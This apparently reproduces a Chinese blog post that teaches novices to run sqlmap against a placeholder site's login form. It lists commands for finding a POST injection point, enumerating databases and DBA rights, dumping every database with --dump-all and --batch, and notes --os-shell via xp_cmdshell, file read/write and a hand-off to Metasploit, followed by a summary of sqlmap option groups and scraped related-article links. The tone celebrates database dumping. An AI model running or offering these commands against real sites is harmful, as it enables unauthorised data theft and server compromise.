sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。
总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
Target: 字面意思,目标,那么就是确定目标的
Request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
Optimization:字面意思,调节性能,等等
Injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
Detection:
基本就是用在确认注入范围,寻找注入点区域,这些
Technique:
基本用在确定注入手段,以及攻击方式
Fingerprint:
基本用在指纹识别,用的很少
Enumeration:
枚举信息,主要用在注入中,很重要,很常用
Brute force:
用来爆破,其实主要是枚举tables columns用的
User-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
File system access
主要是文件读取,文件写入
Operating system access
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
General
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
Miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。
字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!
sqlmap参数大全的更多相关文章
- SQLMAP参数介绍
转自:http://zhan.renren.com/bugpower?gid=3602888498044629629&checked=true SQLMAP参数介绍 sqlmap的使用方式:p ...
- Mysqldump参数大全
Mysqldump参数大全(参数来源于mysql5.5.19源码) 参数 参数说明 --all-databases , -A 导出全部数据库. mysqldump -uroot -p --al ...
- Asp获取网址相关参数大全
Asp获取网址相关参数大全 代码一:[获取地址中的文件名,不包含扩展名]<%dim Url,FileName,File Url=split(request.servervariables(& ...
- System.getProperty参数大全
System.getProperty()参数大全 #java.version Java Runtime Environment v ...
- Sqlmap Tamper大全(1)
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL.SQLMAP采用四 ...
- mysql dump 参数大全
Mysqldump参数大全 摘自:https://www.cnblogs.com/qq78292959/p/3637135.html 参数 参数说明 --all-databases , -A 导 ...
- sqlmap用法大全
sqlmap参数详解: Usage: python sqlmap.py [options] Options(选项): -h, --help Show basic help mes ...
- appium desired_caps参数大全
appium desired_caps参数大全 --------------------------------------------------------- 常用参数记录 ----------- ...
- FireFox浏览器的about:config参数大全及其具体用途介绍
FireFox浏览器的about:config参数大全及其具体用途介绍,注意:这还远不是所有的about:config参数,由于设置参数太多,官方也只提供英文版本的说明,这里提供的FireFox ab ...
随机推荐
- [USACO2003][poj2138]Travel Games(dp/最长路)
http://poj.org/problem?id=2138 题意:给你一些单词和初始单词,在初始单词的任意位置你可以加任意一个字母,使得这个新单词在给的单词中有所出现,然后在这样不断迭代下去,让你求 ...
- DOM(二)使用DOM
在了解DOM(文本对象模型)的框架和节点后,最重要的是使用这些节点处理html网页 对于一个DOM节点node,都有一系列的属性和方法可以使用.常用的有下表. 完善:http://www.w3scho ...
- “耐撕”团队 2016.03.24 站立会议
时间: 2016.03.22 17:00-17:30 18:30-19:00 成员: Z 郑蕊 * 组长 (博客:http://www.cnblogs.com/zhengrui0452/), ...
- web服务器
1.打破信息孤岛,实现信息的集成 2.配置文件 web.xml 定义自己的服务器应该要哪些功能! 3.tomcat 是一个servlet容器,一个web服务器. 部署:将web应用 ...
- OC基础--OC中的类方法和对象方法
PS:个人感觉跟C#的静态方法和非静态方法有点类似,仅仅是有点类似.明杰老师说过不要总跟之前学过的语言做比较,但是个人觉得,比较一下可以加深印象吧.重点是自己真的能够区分开! 一.OC中的对象方法 1 ...
- Java基础-String 存储机制管理
JVM运行的时候,将内存分为两个部分,一部分是堆,一部分是栈.堆中存放的是创建对象,而栈中存放的则是方法调用过程中的局部变量或引用.在设计JAVA字符串对象内存实现的时候,在堆中又开辟了一块很小的内存 ...
- SQL Server之存储过程基础知识
什么是存储过程呢?存储过程就是作为可执行对象存放在数据库中的一个或多个SQL命令. 通俗来讲:存储过程其实就是能完成一定操作的一组SQL语句. 那为什么要用存储过程呢?1.存储过程只在创造时进行编译, ...
- Java获取各种常用时间方法大全
Java获取各种常用时间方法大全 package cc.javaweb.test; Java中文网,Java获取各种时间大全 import java.text.DateFormat; import j ...
- 10.Android之ProgressDialog进度对话框学习
APP应用中经常会下载某些东西,这里面有涉及到进度对话框,今天来学习下. 首先,布局里放进两个按钮,点击一个显示条形进度条,另一个显示圆形进度条.代码如下: <?xml version=&quo ...
- 浅议SNMP安全、SNMP协议、网络管理学习
相关学习资料 tcp-ip详解卷1:协议.pdf(重点看25章SNMP部分) http://www.rfc-editor.org/rfc/rfc1213.txt http://www.rfc-edit ...